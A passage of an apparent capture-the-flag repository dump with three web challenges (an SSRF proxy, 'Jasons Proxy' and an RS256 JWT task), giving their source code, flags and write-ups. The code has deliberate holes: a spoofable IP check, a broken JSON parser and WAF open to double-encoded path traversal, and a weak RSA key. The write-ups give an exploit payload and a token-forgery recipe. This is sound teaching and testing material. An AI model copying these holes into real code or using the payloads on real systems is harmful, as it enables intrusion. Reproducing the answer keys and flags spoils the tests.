/* Allow accessing UMD globals from modules. */\n\n        /* Source Map Options */\n        // \"sourceRoot\": \"\",                            /* Specify the location where debugger should locate TypeScript files instead of source locations. */\n        // \"mapRoot\": \"\",                               /* Specify the location where debugger should locate map files instead of generated locations. */\n        // \"inlineSourceMap\": true,                     /* Emit a single file with source maps instead of having a separate file. */\n        // \"inlineSources\": true,                       /* Emit the source alongside the sourcemaps within a single file; requires '--inlineSourceMap' or '--sourceMap' to be set. */\n\n        /* Experimental Options */\n        \"experimentalDecorators\": true /* Enables experimental support for ES7 decorators. */,\n        \"emitDecoratorMetadata\": true /* Enables experimental support for emitting type metadata for decorators. */,\n\n        /* Advanced Options */\n        \"skipLibCheck\": true /* Skip type checking of declaration files. */,\n        \"forceConsistentCasingInFileNames\": true /* Disallow inconsistently-cased references to the same file. */\n    }\n}\n"
  },
  {
    "path": "web/inside-out/Dockerfile",
    "content": "FROM python:3\n\nRUN apt-get update && \\\n    apt-get install -y iproute2 && \\\n    rm -rf /var/lib/apt/lists/*\n\nCOPY ./challenge /app\n\nCOPY ./requirements.txt /requirements.txt\n\nRUN /usr/bin/touch /var/log/request-proxy.log\n\nRUN pip install -r /requirements.txt\n\nCMD [\"/usr/local/bin/python\", \"-u\" ,\"/app/main.py\"]"
  },
  {
    "path": "web/inside-out/README.md",
    "content": "# Inside Out\n\n**Author:** Solopie\n\n**Category:** web\n\n**Difficulty:** Beginner\n\n## Description\n\nYou're hot then you're cold.\n\nYou're yes then you're no.\n\nYou're out but somehow in... \n\nWait is that right?\n\n\n"
  },
  {
    "path": "web/inside-out/WRITEUP.md",
    "content": "# Inside Out Write Up\n\nRequest the \"/admin\" resource (found in index source code) with the internal IP (given in the output of the example link in index)\n\n\n"
  },
  {
    "path": "web/inside-out/challenge/.gitignore",
    "content": "venv/\n__pycache__/\n"
  },
  {
    "path": "web/inside-out/challenge/config.py",
    "content": "from dotenv import load_dotenv\nimport os\nimport socket\nimport ipaddress\nimport netifaces\n\nload_dotenv()\n\nLOG_FILE = os.getenv(\"LOG_FILE\")\nFLAG = os.getenv(\"FLAG\")\n\n# Local IP\n# https://stackoverflow.com/a/28950776\n# def get_ip():\n#     s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n#     try:\n#         # doesn't even have to be reachable\n#         s.connect(('10.255.255.255', 1))\n#         IP = s.getsockname()[0]\n#     except Exception:\n#         IP = '127.0.0.1'\n#     finally:\n#         s.close()\n#     return IP\n\n# ASSUMED ADAPTER is eth0\naddr_info = netifaces.ifaddresses(\"eth0\")[netifaces.AF_INET][0]\ncidr_bits = ipaddress.IPv4Network(f\"0.0.0.0/{addr_info['netmask']}\").prefixlen\nLOCAL_CIDR = addr_info[\"addr\"] + \"/\" + str(cidr_bits)\n\n# print(LOCAL_CIDR)\n"
  },
  {
    "path": "web/inside-out/challenge/main.py",
    "content": "from flask import Flask, request, jsonify, render_template\nfrom urllib.parse import urlparse\nfrom config import LOG_FILE, LOCAL_CIDR, FLAG\nfrom util import is_localhost, get_title, generate_random_ip\nimport requests\nimport subprocess\nimport ipaddress\nimport sys\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef index():\n    return render_template(\"index.html\")\n\n\n@app.route(\"/request\")\ndef send_request():\n    url = request.args.get(\"url\")\n    if not url:\n        return (\"<h1>Bad request</h1>\", 400)\n\n    # Give some random output for example\n    if url == \"http://example.com/\":\n        out = subprocess.run(\n            [\"ip\", \"addr\"], stdout=subprocess.PIPE).stdout.decode(\"utf-8\")\n\n        return jsonify({\n            \"status\": \"success\",\n            \"text\": out,\n            \"status_code\": 200,\n            \"title\": \"Example\",\n            \"redirect_url\": \"\",\n            \"hostname\": \"example.com\",\n            \"port\": 80\n        })\n\n    # Getting hostname\n    parsed_url = urlparse(url)\n    hostname = parsed_url.hostname if parsed_url.hostname else \"\"\n\n    # Check if request is sent to localhost\n    if hostname and is_localhost(hostname):\n        return render_template(\"blacklist.html\", loopback=hostname), 403\n\n    print(\"Sending request: \" + url)\n\n    # Write result to log (the user should be in adm group to write to /var/log)\n    with open(LOG_FILE, \"a\") as f:\n        f.write(url + \" from \" + generate_random_ip() + \"\\n\")\n\n    # Send request\n    result = None\n    try:\n        response = requests.get(url, timeout=5, allow_redirects=False)\n\n    except:\n        result = jsonify({\"status\": \"failed\"})\n\n    if result:\n        return result\n\n    # Look for title\n    title = get_title(response.text)\n\n    # Check if redirect\n    redirect_url = \"\"\n    if response.is_redirect:\n        redirect_url = response.headers[\"Location\"]\n\n    result = {\n        \"status\": \"success\",\n        \"text\": response.text,\n        \"status_code\": response.status_code,\n        \"title\": title,\n        \"redirect_url\": redirect_url,\n        \"hostname\": hostname,\n        \"port\": parsed_url.port\n    }\n\n    return jsonify(result)\n\n\n@app.route(\"/admin\")\ndef admin():\n    # Accessible by machines in the same local network\n    if (\"X-Real-Ip\" not in request.headers or \n        is_localhost(request.headers[\"X-Real-Ip\"]) or\n        ipaddress.ip_address(request.headers[\"X-Real-Ip\"]) in ipaddress.ip_network(LOCAL_CIDR, False)):\n\n        print(\"Local network request!\")\n        print(request.headers[\"X-Real-Ip\"])\n    else:\n        print(\"Real IP doesn't exist\")\n        return render_template(\"forbidden.html\"), 403\n\n    # Get last 5 logs\n    # Write result to log\n    lines=[]\n    with open(LOG_FILE, \"a+\") as f:\n        f.seek(0)\n        lines=f.readlines()\n\n    return render_template(\"admin.html\", logs = lines[-5:], FLAG = FLAG)\n\n\nif __name__ == \"__main__\":\n    app.run(host = \"0.0.0.0\")\n"
  },
  {
    "path": "web/inside-out/challenge/static/style.css",
    "content": "body {\n    margin: 50px 200px;\n}"
  },
  {
    "path": "web/inside-out/challenge/templates/admin.html",
    "content": "{% extends 'base.html' %}\n\n{% block header %}\n  <h1>{% block title %}Admin Panel{% endblock %}</h1>\n{% endblock %}\n\n{% block content %}\n    <p>Lmao did they actually think we're not recording their requests 😂</p>\n    <hr>\n    <div>\n      {% for log in logs %}\n        <p>{{log}}</p>\n      {% endfor %}\n      <p>{{ FLAG }}</p>\n    </div>\n    <hr>\n    <i>Yes the IPs are not real</i>\n{% endblock %}\n"
  },
  {
    "path": "web/inside-out/challenge/templates/base.html",
    "content": "<!doctype html>\n<title>{% block title %}{% endblock %}</title>\n<link rel=\"stylesheet\" href=\"{{ url_for('static', filename='style.css') }}\">\n<section class=\"content\">\n  {% block header %}{% endblock %}\n  {% block content %}{% endblock %}\n</section>"
  },
  {
    "path": "web/inside-out/challenge/templates/blacklist.html",
    "content": "{% extends \"base.html\" %}\n\n{% block header %}\n    <h1>{% block title %}Blacklisted{% endblock %}</h1>\n{% endblock %}\n\n{% block content %}\n    {% if loopback %}\n        <p>Loopback address is not allowed</p>\n    {% endif %}\n{% endblock %}\n"
  },
  {
    "path": "web/inside-out/challenge/templates/forbidden.html",
    "content": "{% extends 'base.html' %}\n\n{% block header %}\n  <h1>{% block title %}Forbidden{% endblock %}</h1>\n{% endblock %}\n\n{% block content %}\n    <p>Only accessible from the local network</p>\n{% endblock %}"
  },
  {
    "path": "web/inside-out/challenge/templates/index.html",
    "content": "{% extends 'base.html' %}\n\n{% block header %}\n  <h1>{% block title %}Index{% endblock %}</h1>\n{% endblock %}\n\n{% block content %}\n    <p>Welcome fellow hackers!</p>\n    <p>Need to hide your requests? You're in the right place.</p>\n    <p>Send your requests through our server and you'll never be found.</p>\n    <a href=\"/request?url=http://example.com/\">Proxy Example</a>\n    <br>\n    <br>\n    <br>\n    <br>\n    <p><i>We're DEFINITELY not recording your web requests.</i></p>\n    <!-- <a href=\"/admin\">Admin Panel</a> -->\n{% endblock %}\n"
  },
  {
    "path": "web/inside-out/challenge/util.py",
    "content": "import socket\nimport re\nimport ipaddress\nimport random\n\ndef is_localhost(target):\n    result = False\n    #  IPv4\n    try:\n        ip = ipaddress.IPv4Address(socket.gethostbyname(target))\n        if ip.is_loopback:\n            result = True\n    except:\n        pass\n\n    # IPv6\n    try:\n        ip = ipaddress.IPv6Address(socket.gethostbyname(socket.getaddrinfo(target, None, socket.AF_INET6)[0][4][0]))\n        if ip.is_loopback:\n            result = True\n    except:\n        pass\n\n    # Test 0.0.0.0 bypass\n\n    return result\n\ndef get_title(html):\n    title = \"\"\n    try:\n        find_title = re.search('<\\W*title\\W*(.*)</title', html, re.IGNORECASE)\n        title = find_title.group(1)\n    except:\n        # Yes I am evil hehe\n        pass\n\n    return title\n\ndef generate_random_ip():\n    return f\"{random.randint(256,999)}.{random.randint(256,999)}.{random.randint(256,999)}.{random.randint(256,999)}\"\n"
  },
  {
    "path": "web/inside-out/challenge.yml",
    "content": "version: \"0.1\"\nid: inside-out\nname: Inside Out\ncategory: web \ndescription: |\n  You're hot then you're cold.\n\n  You're yes then you're no.\n\n  You're out but somehow in... \n\n  Wait is that right?\n\n  Author: Solopie \n\nconnection_info: ${url}\n\ntags:\n  - beginner \n\nflags:\n  - DUCTF{very_spooky_requests}\n  - DUCTF{very_spooky_request}\n"
  },
  {
    "path": "web/inside-out/default.conf",
    "content": "server {\n    listen 80;\n    server_name _;\n\n    location / {\n        proxy_set_header Host \"localhost\";\n        proxy_set_header Connection \"\";\n        proxy_http_version 1.1;\n        proxy_set_header Host $host;\n        proxy_set_header X-Real-IP $remote_addr;\n        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n        proxy_pass http://127.0.0.1:5000/;\n    }\n}\n"
  },
  {
    "path": "web/inside-out/docker-compose.yml",
    "content": "version: \"3\"\nservices:\n    nginx:\n        image: nginx\n        ports:\n            - 9000:80\n        volumes:\n            - ./nginx.conf:/etc/nginx/conf.d/default.conf\n    flask:\n        build:\n            context: ./\n            dockerfile: Dockerfile\n        image: inside-out\n        container_name: inside-out\n        environment:\n            - LOG_FILE=/var/log/request-proxy.log\n            - FLAG=DUCTF{very_spooky_request}\n            - FLASK_APP=/app/main.py\n        command: python -u /app/main.py\n"
  },
  {
    "path": "web/inside-out/flag.txt",
    "content": "DUCTF{very_spooky_requests}\n"
  },
  {
    "path": "web/inside-out/requirements.txt",
    "content": "certifi==2021.5.30\ncharset-normalizer==2.0.4\nclick==8.0.1\nFlask==2.0.1\nidna==3.2\nitsdangerous==2.0.1\nJinja2==3.0.1\nMarkupSafe==2.0.1\nnetifaces==0.11.0\npython-dotenv==0.19.0\nrequests==2.26.0\nurllib3==1.26.6\nWerkzeug==2.0.1\n"
  },
  {
    "path": "web/jasons_proxy/Dockerfile",
    "content": "FROM python:3.9-slim\r\n\r\n# Set Flag Environment Variables\r\nENV FLAG=DUCTF{d0ubl3_js0n_d0ubl3_URI_r1p_j4s0n5_p4th_w1th_b1g_h4xx}\r\n\r\n# Make sure we have the correct directories\r\nRUN mkdir /app\r\n\r\n# Copy proxy to /\r\nCOPY ./proxy.py / \r\n\r\n# Copy Run Script\r\nCOPY ./run.sh /\r\n\r\n# Copy challenge files and driver\r\nCOPY ./web /app/\r\n\r\n# Install Requirements\r\nCOPY ./requirements.txt /app/requirements.txt \r\nRUN pip3 install -r /app/requirements.txt\r\n\r\nRUN chmod +x /run.sh\r\nENV WORKERS=16\r\n\r\nENTRYPOINT [\"/bin/bash\",\"/run.sh\"]\r\n"
  },
  {
    "path": "web/jasons_proxy/README.md",
    "content": "# X1337 Sk1d R3p0rt3r\r\n\r\n**Author:** Xesh\r\n\r\n**Category:** web\r\n\r\n**Difficulty:** Hard\r\n\r\n## Description\r\n\r\nNotCloudeFlare have been informed of a new up and coming rival CDN, Jasons Image Hosting. They want you to try and hack your way in >:)\r\n\r\n## Handout files\r\n\r\n- ./web/app.py (sha256: 13f4cf2546ada9bb5a93e0aa4bc3e93d62cfb08190b2bba102d2894aad6679c6)\r\n- ./proxy.py (sha256: 9a15d35ad789ef8ea5e9d39b0aabb95b86a9f60f25b98faecce66b9809ac65fa)\r\n\r\n## Installation\r\nModify the environment variables within the dockerfiles to change the flag.\r\n\r\n|Filename|Variables|\r\n|-|-|\r\n|docker-compose|FLAG|\r\n|challenge.yml|FLAG|\r\n"
  },
  {
    "path": "web/jasons_proxy/WRITEUP.md",
    "content": "# Jasons Proxy Write Up\r\n\r\n1. Create a new POST request to `/jason_loader` with the following POST body\r\n```\r\n{\"img\":\"aHR0\",\"img\":\"aHR0cDovLzEyNy4wLjAuMS9zdGF0aWMvaW1hZ2VzLyUyZSUyNTJlLyUyZSUyNTJlLyUyNTYxZG1pbi9mbCUyNTYxZw==\"}\r\n```\r\n\r\nThe above payload first exploits the vulnerability inside of the JSON parsing function where it fails to double check \"checked\" keys, bypassing the character filter. The payload must start with the string `http://127.0.0.1/static/images/` so the rest of the payload is a directory traversal double URL encoded to bypass checks at the proxy level. Finally the proxy requests the path `http://127.0.0.1/admin/flag`, the proxy then encodes the flag data in base64 and sends it back to the player.\r\n\r\n2. Observe the flag data returned in base64 encoded form\r\n\r\n```\r\n{\"imagedata\": \"RFVDVEZ7ZDB1YmwzX2pzMG5fZDB1YmwzX1VSSV9yMXBfajRzMG41X3A0dGhfdzF0aF9iMWdfaDR4eH0=\"}\r\n```"
  },
  {
    "path": "web/jasons_proxy/challenge.yml",
    "content": "version: \"0.1\"\r\nid: jasons-proxy\r\nname: Jasons Proxy\r\ncategory: web\r\ndescription: |\r\n  NotCloudeFlare have been informed of a new up and coming rival CDN, Jasons Image Hosting. They want you to try and hack your way in >:)\r\n\r\n  Author: xesh\r\n\r\nconnection_info: ${url}\r\n\r\ntags:\r\n  - hard\r\n  \r\nfiles:\r\n  - ./web/app.py\r\n  - ./proxy.py\r\n\r\nflags:\r\n  - DUCTF{d0ubl3_js0n_d0ubl3_URI_r1p_j4s0n5_p4th_w1th_b1g_h4xx}\r\n"
  },
  {
    "path": "web/jasons_proxy/docker-compose.yml",
    "content": "version: \"2\"\r\nservices:\r\n  web:\r\n    environment:\r\n      - FLAG=DUCTF{d0ubl3_js0n_d0ubl3_URI_r1p_j4s0n5_p4th_w1th_b1g_h4xx}\r\n    build: .\r\n    ports:\r\n      - \"5000:80\""
  },
  {
    "path": "web/jasons_proxy/proxy.py",
    "content": "#!/usr/bin/python3\r\n\r\nimport os\r\nimport socketserver\r\nimport urllib.request\r\nfrom os.path import abspath\r\nfrom http.server import SimpleHTTPRequestHandler\r\nfrom urllib.parse import unquote, urlparse, urljoin\r\n\r\nPORT = 9097\r\n\r\nwhitelist = [\"http://127.0.0.1/static/images/\", \"http://localhost/static/images/\"]\r\nblacklist = [\"admin\",\"flag\"]\r\nremove_list = [\"'\",\"OR\",\"SELECT\",\"FROM\",\";\",\"../\",\"./\",\"....//\"]\r\n\r\ndef waf(url):\r\n\tresp = unquote(url)\r\n\twhitelist_check = False\r\n\tfor uri in whitelist:\r\n\t\tif resp.lower().startswith(uri):\r\n\t\t\twhitelist_check = uri\r\n\t\t\tbreak\r\n\tif whitelist_check == False:\r\n\t\treturn None\r\n\tfor forbidden in blacklist:\r\n\t\tif forbidden in resp.lower():\r\n\t\t\treturn None\r\n\tfor badstr in remove_list:\r\n\t\tresp = resp.replace(badstr,\"BLOCKEDBY1337WAF\")\r\n\tresp = urlparse(resp)\r\n\tresp = unquote(abspath(resp.path))\r\n\treturn urljoin(whitelist_check,resp)\r\n\r\nclass CDNProxy(SimpleHTTPRequestHandler):\r\n\tdef do_GET(self):\r\n\t\turl = self.path[1:]\r\n\t\tprint(self.headers)\r\n\t\tself.send_response(200)\r\n\t\tself.send_header(\"X-CDN\",\"CDN-1337\")\r\n\t\tself.end_headers()\r\n\t\twaf_result = waf(url)\r\n\t\tif waf_result:\r\n\t\t\tself.copyfile(urllib.request.urlopen(waf_result), self.wfile)\r\n\t\telse:\r\n\t\t\tself.wfile.write(bytes(\"1337 WAF blocked your request\",\"utf-8\"))\r\n\r\nhttpd = socketserver.ForkingTCPServer(('', PORT), CDNProxy)\r\nprint(\"Now serving at \" + str(PORT))\r\nhttpd.serve_forever()"
  },
  {
    "path": "web/jasons_proxy/requirements.txt",
    "content": "flask\nrequests\ngunicorn\nurllib3\n"
  },
  {
    "path": "web/jasons_proxy/run.sh",
    "content": "#!/bin/bash\n\necho \"[*] Starting Proxy\"\ncd /\nnohup python3 proxy.py &\necho \"[*] Starting challenge\"\ncd /app\ngunicorn -w $WORKERS -b 0.0.0.0:80 --access-logfile - \\\n    --access-logformat \"%({x-forwarded-for}i)s %(l)s %(u)s %(t)s \\\"%(r)s\\\" %(s)s %(b)s \\\"%(f)s\\\" \\\"%(a)s\\\"\" \\\n    --forwarded-allow-ips=* app:app\n"
  },
  {
    "path": "web/jasons_proxy/web/app.py",
    "content": "#!/usr/bin/python3\r\n\r\nimport os\r\nfrom requests import get\r\nfrom base64 import b64encode, b64decode\r\nfrom flask import Flask, request, render_template\r\n\r\napp = Flask(__name__)\r\n\r\nclass JSON(object):\r\n\tdef __init__(self):\r\n\t\tself.forbidden = [\"'\",\"\\\"\",\"{\",\"}\",\"[\",\"]\",\",\",\"(\",\")\",\"\\\\\",\";\",\"%\"]\r\n\t\tself.checked = []\r\n\r\n\tdef _forbidden_chk(self, key, value):\r\n\t\tchk = False\r\n\t\tfor bad in self.forbidden:\r\n\t\t\tif bad in key:\r\n\t\t\t\tchk = True\r\n\t\t\t\tbreak\r\n\t\t\tif bad in value:\r\n\t\t\t\tchk = True\r\n\t\t\t\tbreak\r\n\t\treturn chk\r\n\r\n\tdef _checked(self, key):\r\n\t\tchk = True\r\n\t\tif key in self.checked:\r\n\t\t\tchk = False\r\n\t\treturn chk\r\n\r\n\tdef _security(self, key, value):\r\n\t\tchk = False\r\n\t\tif not self._checked(key):\r\n\t\t\treturn chk\r\n\t\tif self._forbidden_chk(key, value):\r\n\t\t\tchk = True\r\n\t\tif key == \"img\":\r\n\t\t\tvalue = b64decode(bytes(value,'utf-8')).decode()\r\n\t\t\tif self._forbidden_chk(key, value):\r\n\t\t\t\tchk = True\r\n\t\tif chk == False:\r\n\t\t\tself.checked.append(key)\r\n\t\treturn chk\r\n\r\n\tdef parse(self, data):\r\n\t\tparsed_data =  [obj.replace(\"'\",'').replace('\"','').split(':') for obj in data.decode()[1:][:-1].split(',')]\r\n\t\tbuilt_data = {}\r\n\t\tfor obj in parsed_data:\r\n\t\t\tif len(obj) < 2 or self._security(obj[0], obj[1]):\r\n\t\t\t\treturn \"Jasons Secure JSON Parsing Blocked Your Request\"\r\n\t\t\tif obj[0] == \"img\":\r\n\t\t\t\tobj[1] = b64decode(bytes(obj[1],'utf-8')).decode()\r\n\t\t\tbuilt_data[obj[0]] = obj[1]\r\n\t\treturn built_data\r\n\t\t\r\ndef get_as_b64(img):\r\n\ttry:\r\n\t\tif img.startswith('http://127.0.0.1/static/images/'):\r\n\t\t\treturn b64encode(get(\"http://127.0.0.1:9097/\"+img).content).decode()\r\n\t\treturn None\r\n\texcept Exception as e:\r\n\t\treturn None\r\n\r\n@app.route('/')\r\ndef _index():\r\n\treturn render_template('index.html')\r\n\r\n\r\n@app.route('/jason_loader', methods=['POST'])\r\ndef _app_jason_loader():\r\n\tif request.headers.get('Content-Type') != 'application/json':\r\n\t\treturn '{\"error\": \"invalid content type\"}', 400\r\n\tjson = JSON()\r\n\tpdata = json.parse(request.data)\r\n\tif type(pdata) == str:\r\n\t\treturn \"{\\\"error\\\": \\\"\"+pdata+\"\\\"}\"\r\n\timg = pdata.get('img')\r\n\tif not img:\r\n\t\treturn \"{\\\"error\\\": \\\"Jasons JSON Security Module Triggered\\\"}\"\r\n\timgdata = '{\"imagedata\": \"' + get_as_b64(img) + '\"}' \r\n\treturn imgdata, 200\r\n\r\n@app.route('/admin/flag')\r\ndef _flag():\r\n\tif request.remote_addr != \"127.0.0.1\":\r\n\t\treturn \"Unauthorized.\", 401\r\n\treturn str(os.environ.get('FLAG')), 200\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\tapp.run(host='0.0.0.0',port=80,debug=False)\r\n\r\n"
  },
  {
    "path": "web/jasons_proxy/web/static/style.css",
    "content": "/*\r\n* Globals\r\n*/\r\n\r\n\r\n/* Custom default button */\r\n.btn-secondary,\r\n.btn-secondary:hover,\r\n.btn-secondary:focus {\r\n\tcolor: #333;\r\n\ttext-shadow: none; /* Prevent inheritance from `body` */\r\n}\r\n\r\n\r\n/*\r\n * Base structure\r\n */\r\n\r\nbody {\r\n\ttext-shadow: 0 .05rem .1rem rgba(0, 0, 0, .5);\r\n\tbox-shadow: inset 0 0 5rem rgba(0, 128, 0, .2);\r\n}\r\n\r\n.cover-container {\r\n\tmax-width: 42em;\r\n}\r\n\r\n.list-group-item {\r\n\tborder-color: rgba(0, 128, 0, .2);\r\n}\r\n\r\nkbd {\r\n\tbackground-color: #111;\r\n}\r\n\r\n/*\r\n * Header\r\n */\r\n\r\n.nav-masthead .nav-link {\r\n\tpadding: .25rem 0;\r\n\tfont-weight: 700;\r\n\tcolor: rgba(255, 255, 255, .5);\r\n\tbackground-color: transparent;\r\n\tborder-bottom: .25rem solid transparent;\r\n}\r\n\r\n.nav-masthead .nav-link:hover,\r\n.nav-masthead .nav-link:focus {\r\n\tborder-bottom-color: rgba(255, 255, 255, .25);\r\n}\r\n\r\n.nav-masthead .nav-link + .nav-link {\r\n\tmargin-left: 1rem;\r\n}\r\n\r\n.nav-masthead .active {\r\n\tcolor: #fff;\r\n\tborder-bottom-color: #fff;\r\n}\r\n\r\n/*\r\n * Cards\r\n */\r\n.card {\r\n\tborder-color: lime;\r\n\tbox-shadow: 5px 10px 8px rgba(0, 128, 0, .2);\r\n}"
  },
  {
    "path": "web/jasons_proxy/web/templates/base.html",
    "content": "<!DOCTYPE html>\r\n<html lang=\"en\" class=\"h-100\">\r\n\r\n<head>\r\n\t<meta charset=\"utf-8\">\r\n\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\r\n\t<link href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css\" rel=\"stylesheet\" integrity=\"sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We\" crossorigin=\"anonymous\">\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"{{ url_for('static', filename='style.css') }}\">\r\n\t<title>Jasons Image Hosting</title>\r\n</head>\r\n\r\n\r\n<body class=\"h-100 w-100 text-center text-white bg-dark\">\r\n\r\n\t<div class=\"cover-container d-flex w-100 h-100 p-3 mx-auto flex-column\">\r\n\t\t<header class=\"d-flex flex-wrap align-items-center justify-content-center justify-content-md-between py-3 mb-auto\">\r\n\t\t\t<h3 class=\"float-md-start mb-0\">Jasons Image Hosting</h3>\r\n\t\t</header>\r\n\r\n\t\t<main class=\"px-1 h-75\">\r\n\t\t\t{% block content %}\r\n\t\t\t{% endblock %}\r\n\t\t</main>\r\n\r\n\t\t<footer class=\"mt-auto text-white-50\">\r\n\t\t\t<a href=\"{{ url_for('_flag') }}\" class=\"text-muted\">Here is your flag</p>\r\n\t\t</footer>\r\n\t</div>\r\n\t<script src=\"https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/js/bootstrap.bundle.min.js\" integrity=\"sha384-U1DAWAznBHeqEIlVSCgzq+c9gqGAJn5c/t99JyeKa9xxaYpSvHU5awsuZVVFIhvj\" crossorigin=\"anonymous\"></script>\r\n\t<script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js\" integrity=\"sha512-894YE6QWD5I59HgZOGReFYm4dnWc1Qt5NtvYSaNcOP+u1T9qYdvdihz0PPSiiqn/+/3e7Jo4EaG7TubfWGUrMQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\r\n\t<script type=\"text/javascript\">\r\n\t\t$(function() {\r\n\t\t\t$('.card-img-top').each(function(i){\r\n    \t\t\tfetch('{{ url_for('_app_jason_loader') }}', {\r\n    \t\t\t\tmethod:\"POST\", \r\n    \t\t\t\theaders:{ \r\n    \t\t\t\t\t\"Content-Type\": \"application/json\"\r\n    \t\t\t\t}, \r\n    \t\t\t\tbody:JSON.stringify({\r\n    \t\t\t\t\t\"img\": btoa(`http://127.0.0.1/static/images/${i+1}.png`)} )} ).then(\r\n    \t\t\t\t\t \tresponse => { \r\n    \t\t\t\t\t \t\tresponse.json().then(data => {\r\n    \t\t\t\t\t \t\t\t$(this).attr('src','data:image/png;base64,'+data['imagedata'])\r\n    \t\t\t\t\t \t\t})\r\n    \t\t\t\t\t\t}\r\n    \t\t\t\t\t)\r\n\t\t\t\t\t}\r\n\t\t\t\t)\r\n\t\t})\r\n\t</script>\r\n</body>\r\n\r\n</html>"
  },
  {
    "path": "web/jasons_proxy/web/templates/index.html",
    "content": "{% extends \"base.html\" %}\r\n\r\n{% block content %}\r\n<div class=\"row mb-3 pb-3\">\r\n\t<div class=\"col-4\">\r\n\t\t<div class=\"card text-white bg-dark\">\r\n\t\t\t<img src=\"{{ url_for('static',filename='/images/placeholder.png') }}\" class=\"card-img-top\">\r\n\t\t</div>\r\n\t</div>\r\n\t<div class=\"col-4\">\r\n\t\t<div class=\"card text-white bg-dark\">\r\n\t\t\t<img src=\"{{ url_for('static',filename='/images/placeholder.png') }}\" class=\"card-img-top\">\r\n\t\t</div>\r\n\t</div>\r\n\t<div class=\"col-4\">\r\n\t\t<div class=\"card text-white bg-dark\">\r\n\t\t\t<img src=\"{{ url_for('static',filename='/images/placeholder.png') }}\" class=\"card-img-top\">\r\n\t\t</div>\r\n\t</div>\r\n</div>\r\n<div class=\"row justify-content-center mt-3 pt-3\">\r\n\t<div class=\"col-10\">\r\n\t\t<blockquote class=\"blockquote\">\r\n\t\t\t<h1 class=\"mb-0\">Cool images huh?</h1>\r\n\t\t\t<small class=\"text-muted\">\r\n\t\t\t\tHere are Jasons Image Hosting, we have developed a state of the art Content Distribution Network (CDN). Delivering super fast, super secure content. Contact Jason today to get your business setup with Jasons Image Hosting today!\r\n\t\t\t</small>\r\n\t\t</blockquote>\r\n\t</div>\r\n</div>\r\n{% endblock %}"
  },
  {
    "path": "web/jwt/Dockerfile",
    "content": "FROM tiangolo/uwsgi-nginx-flask:python3.8\n\nRUN pip3 install pyjwt[crypto]\n\nCOPY ./challenge/chall.py /app/main.py\nCOPY ./challenge/priv /app/priv\nCOPY ./challenge/pub /app/pub\nCOPY ./challenge/flag.txt /app/flag.txt\n"
  },
  {
    "path": "web/jwt/README.md",
    "content": "# JWT\n\n**Author:** 247CTF.com\n\n**Category:** Web\n\n**Difficulty:** ?\n\n_Everyone knows you can offline brute force HS256. Is RS256 vulnerable too?_\n\n## Description\nWhen accessing the application URL, you are provided with the source code. \n\nThe application has 2 routes - one to get a token and the other to get a flag.\n\nThe token received sets your admin status as false - to get the flag you need a token which sets your admin status to true.\n\nThe token is making use of RS256 and the public key is not disclosed - however the key can be derived from the tokens.\n\nOnce derived, it can be noted that the public key is 'small' (773 bits) and can be factored.\n\nOnce factored, the private key can be created and a token with the admin status set to true can be forged.\n\n## Writeup\n1. Get two JWT tokens (`curl 127.0.0.1:5000/get_token`)\n2. Derive the public key (https://github.com/silentsignal/rsa_sign2n)\n3. Extract the modulus (`openssl rsa -pubin -in blah -modulus`)\n4. Factor the modulus (`./msieve -q blah`)\n5. Create the private key (https://github.com/ius/rsatool)\n6. Forge a token (`import jwt;private_key=open('priv').read();token=jwt.encode({'admin':True},private_key,algorithm='RS256')`)\n7. Grab the flag (`curl -X POST -d \"jwt=blah\" http://127.0.0.1:5000/get_flag`)\n"
  },
  {
    "path": "web/jwt/challenge/chall.py",
    "content": "from flask import Flask, request\nimport jwt, time, os\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = os.urandom(24)\n\nprivate_key = open('priv').read()\npublic_key = open('pub').read()\nflag = open('flag.txt').read()\n\n@app.route(\"/get_token\")\ndef get_token():\n    return jwt.encode({'admin': False, 'now': time.time()}, private_key, algorithm='RS256')\n\n@app.route(\"/get_flag\", methods=['POST'])\ndef get_flag():\n  try:\n    payload = jwt.decode(request.form['jwt'], public_key, algorithms=['RS256'])\n    if payload['admin']:\n      return flag\n  except:\n    return \":(\"\n\n@app.route(\"/\")\ndef sauce():\n  return \"<pre>%s</pre>\" % open(__file__).read()\n\nif __name__ == \"__main__\":\n  app.run(host=\"0.0.0.0\", port=5000)\n"
  },
  {
    "path": "web/jwt/challenge/flag.txt",
    "content": "DUCTF{json_web_trickeryyy}\n"
  },
  {
    "path": "web/jwt/challenge/priv",
